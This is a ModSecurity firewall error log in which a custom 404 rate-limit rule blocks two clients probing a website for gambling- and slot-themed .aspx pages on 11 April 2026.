[Sat Apr 11 21:45:04.858966 2026] [:error] [pid 42313:tid 42323] [client 79.137.64.41:38106] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lava%20slot.aspx"] [unique_id "adpQYF2P8TxdbaN018IydgAAAAc"]
[Sat Apr 11 21:45:07.357265 2026] [:error] [pid 42313:tid 42340] [client 79.137.64.41:38116] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "adpQY12P8TxdbaN018IyegAAABg"]
[Sat Apr 11 21:45:09.688100 2026] [:error] [pid 42219:tid 42232] [client 79.137.64.41:38122] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "adpQZQ-4IkVbTQx_J-2C5gAAAIk"]
[Sat Apr 11 21:45:12.186415 2026] [:error] [pid 42313:tid 42335] [client 79.137.64.41:36448] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20168.aspx"] [unique_id "adpQaF2P8TxdbaN018IyigAAABM"]
[Sat Apr 11 21:45:14.526007 2026] [:error] [pid 42221:tid 42288] [client 79.137.64.41:36454] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20auto.aspx"] [unique_id "adpQak2gt0pb_0-cc6mJwQAAAEo"]
[Sat Apr 11 21:45:16.916904 2026] [:error] [pid 42219:tid 42230] [client 79.137.64.41:36470] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "adpQbA-4IkVbTQx_J-2C7AAAAIc"]
[Sat Apr 11 21:45:19.430102 2026] [:error] [pid 42313:tid 42320] [client 79.137.64.41:36478] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "adpQb12P8TxdbaN018IymQAAAAQ"]
[Sat Apr 11 21:45:21.937508 2026] [:error] [pid 42221:tid 42290] [client 79.137.64.41:56660] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "adpQcU2gt0pb_0-cc6mJ0AAAAEw"]
[Sat Apr 11 21:45:24.459321 2026] [:error] [pid 42220:tid 42273] [client 79.137.64.41:56676] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "adpQdEz5c3Cs6a8B5QuFPwAAANY"]
[Sat Apr 11 21:45:26.976146 2026] [:error] [pid 42313:tid 42328] [client 79.137.64.41:56686] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "adpQdl2P8TxdbaN018IyvQAAAAw"]
[Sat Apr 11 21:45:29.489733 2026] [:error] [pid 42313:tid 42317] [client 79.137.64.41:56698] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "adpQeV2P8TxdbaN018IywQAAAAE"]
[Sat Apr 11 21:45:31.862666 2026] [:error] [pid 42313:tid 42322] [client 79.137.64.41:33466] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "adpQe12P8TxdbaN018IyzQAAAAY"]
[Sat Apr 11 21:45:34.404825 2026] [:error] [pid 42221:tid 42298] [client 79.137.64.41:33476] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "adpQfk2gt0pb_0-cc6mJ6QAAAFQ"]
[Sat Apr 11 21:45:55.326409 2026] [:error] [pid 42219:tid 42237] [client 79.137.64.41:33480] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "adpQkw-4IkVbTQx_J-2DPAAAAI4"]
[Sat Apr 11 21:45:57.769150 2026] [:error] [pid 42220:tid 42256] [client 79.137.64.41:36764] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "adpQlUz5c3Cs6a8B5QuFagAAAMU"]
[Sat Apr 11 22:25:35.561376 2026] [:error] [pid 52608:tid 52622] [client 147.135.213.107:48450] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "adpZ3yY5wH-BLt5QEKhNAAAAAQs"]
[Sat Apr 11 22:25:38.018394 2026] [:error] [pid 42220:tid 42272] [client 147.135.213.107:51118] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "adpZ4kz5c3Cs6a8B5QuNvwAAANU"]
[Sat Apr 11 22:25:40.397816 2026] [:error] [pid 52608:tid 52612] [client 147.135.213.107:51128] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "adpZ5CY5wH-BLt5QEKhNBAAAAQE"]
[Sat Apr 11 22:25:42.935927 2026] [:error] [pid 42313:tid 42319] [client 147.135.213.107:43382] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "adpZ5l2P8TxdbaN018JE3gAAAAM"]
[Sat Apr 11 22:25:45.287050 2026] [:error] [pid 52608:tid 52619] [client 147.135.213.107:43394] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "adpZ6SY5wH-BLt5QEKhNDgAAAQg"]
[Sat Apr 11 22:25:47.500863 2026] [:error] [pid 42313:tid 42317] [client 147.135.213.107:43408] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "adpZ612P8TxdbaN018JE5AAAAAE"]
[Sat Apr 11 22:25:50.032645 2026] [:error] [pid 42219:tid 42224] [client 147.135.213.107:43414] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "adpZ7g-4IkVbTQx_J-2PdAAAAIE"]
[Sat Apr 11 22:25:52.534191 2026] [:error] [pid 42221:tid 42288] [client 147.135.213.107:45782] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "adpZ8E2gt0pb_0-cc6mVDwAAAEo"]
[Sat Apr 11 22:25:54.908831 2026] [:error] [pid 42313:tid 42339] [client 147.135.213.107:45784] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "adpZ8l2P8TxdbaN018JE-QAAABc"]
[Sat Apr 11 22:25:57.422356 2026] [:error] [pid 42219:tid 42235] [client 147.135.213.107:45788] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "adpZ9Q-4IkVbTQx_J-2PkAAAAIw"]
[Sat Apr 11 22:25:59.935538 2026] [:error] [pid 42219:tid 42239] [client 147.135.213.107:45792] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "adpZ9w-4IkVbTQx_J-2PkwAAAJA"]
[Sat Apr 11 22:26:02.321394 2026] [:error] [pid 52608:tid 52613] [client 147.135.213.107:35064] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "adpZ-iY5wH-BLt5QEKhNTwAAAQI"]
[Sat Apr 11 22:26:04.798578 2026] [:error] [pid 42221:tid 42278] [client 147.135.213.107:35076] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "adpZ_E2gt0pb_0-cc6mVGgAAAEA"]
[Sat Apr 11 22:26:07.332461 2026] [:error] [pid 42313:tid 42320] [client 147.135.213.107:35090] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "adpZ_12P8TxdbaN018JFDQAAAAQ"]
[Sat Apr 11 22:26:09.829224 2026] [:error] [pid 42313:tid 42336] [client 147.135.213.107:35102] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "adpaAV2P8TxdbaN018JFFAAAABQ"]
[Sat Apr 11 22:26:12.327329 2026] [:error] [pid 42219:tid 42224] [client 147.135.213.107:41688] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "adpaBA-4IkVbTQx_J-2PoAAAAIE"]
[Sat Apr 11 22:26:14.816623 2026] [:error] [pid 42313:tid 42334] [client 147.135.213.107:41696] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "adpaBl2P8TxdbaN018JFIQAAABI"]
[Sat Apr 11 22:26:17.311036 2026] [:error] [pid 42313:tid 42324] [client 147.135.213.107:41710] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "adpaCV2P8TxdbaN018JFKAAAAAg"]
[Sat Apr 11 22:26:19.821305 2026] [:error] [pid 42313:tid 42335] [client 147.135.213.107:41718] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "adpaC12P8TxdbaN018JFOgAAABM"]
[Sat Apr 11 22:26:22.148011 2026] [:error] [pid 42220:tid 42260] [client 147.135.213.107:46730] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "adpaDkz5c3Cs6a8B5QuN3QAAAMk"]
[Sat Apr 11 22:26:24.641786 2026] [:error] [pid 42313:tid 42322] [client 147.135.213.107:46738] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "adpaEF2P8TxdbaN018JFWAAAAAY"]
[Sat Apr 11 22:26:27.145316 2026] [:error] [pid 52608:tid 52612] [client 147.135.213.107:46752] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "adpaEyY5wH-BLt5QEKhNmgAAAQE"]
[Sat Apr 11 22:26:29.637021 2026] [:error] [pid 42221:tid 42298] [client 147.135.213.107:46762] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "adpaFU2gt0pb_0-cc6mVOgAAAFQ"]
[Sat Apr 11 22:26:32.134892 2026] [:error] [pid 42219:tid 42245] [client 147.135.213.107:41834] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "adpaGA-4IkVbTQx_J-2PwAAAAJY"]
[Sat Apr 11 22:26:53.088629 2026] [:error] [pid 42313:tid 42333] [client 147.135.213.107:41838] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "adpaLV2P8TxdbaN018JFmgAAABE"]
[Sat Apr 11 22:26:55.512655 2026] [:error] [pid 42313:tid 42322] [client 147.135.213.107:58396] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "adpaL12P8TxdbaN018JFogAAAAY"]
[Sat Apr 11 22:26:57.998453 2026] [:error] [pid 42221:tid 42289] [client 147.135.213.107:58398] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "adpaMU2gt0pb_0-cc6mVWAAAAEs"]
[Sat Apr 11 22:27:00.478166 2026] [:error] [pid 42313:tid 42323] [client 147.135.213.107:58402] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "adpaNF2P8TxdbaN018JFtgAAAAc"]
[Sat Apr 11 22:27:02.963911 2026] [:error] [pid 42221:tid 42287] [client 147.135.213.107:40448] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "adpaNk2gt0pb_0-cc6mVXAAAAEk"]
[Sat Apr 11 22:27:05.278193 2026] [:error] [pid 52608:tid 52627] [client 147.135.213.107:40454] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "adpaOSY5wH-BLt5QEKhODwAAARA"]
[Sat Apr 11 22:27:07.604511 2026] [:error] [pid 42219:tid 42245] [client 147.135.213.107:40468] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "adpaOw-4IkVbTQx_J-2P-gAAAJY"]
[Sat Apr 11 22:27:10.084143 2026] [:error] [pid 42219:tid 42231] [client 147.135.213.107:40478] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "adpaPg-4IkVbTQx_J-2QBAAAAIg"]
[Sat Apr 11 22:27:12.413520 2026] [:error] [pid 42313:tid 42339] [client 147.135.213.107:35858] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "adpaQF2P8TxdbaN018JF2wAAABc"]
[Sat Apr 11 22:27:14.865955 2026] [:error] [pid 42313:tid 42322] [client 147.135.213.107:35874] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "adpaQl2P8TxdbaN018JF4gAAAAY"]
[Sat Apr 11 22:27:17.186066 2026] [:error] [pid 52608:tid 52627] [client 147.135.213.107:35880] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "adpaRSY5wH-BLt5QEKhOLQAAARA"]
[Sat Apr 11 22:27:19.500163 2026] [:error] [pid 52608:tid 52621] [client 147.135.213.107:35882] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "adpaRyY5wH-BLt5QEKhOOwAAAQo"]
[Sat Apr 11 22:27:21.996627 2026] [:error] [pid 42313:tid 42336] [client 147.135.213.107:45678] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "adpaSV2P8TxdbaN018JF9QAAABQ"]
[Sat Apr 11 22:27:24.319102 2026] [:error] [pid 42220:tid 42268] [client 147.135.213.107:45692] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "adpaTEz5c3Cs6a8B5QuOdAAAANE"]
[Sat Apr 11 22:27:26.784905 2026] [:error] [pid 42220:tid 42271] [client 147.135.213.107:45694] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "adpaTkz5c3Cs6a8B5QuOeAAAANQ"]
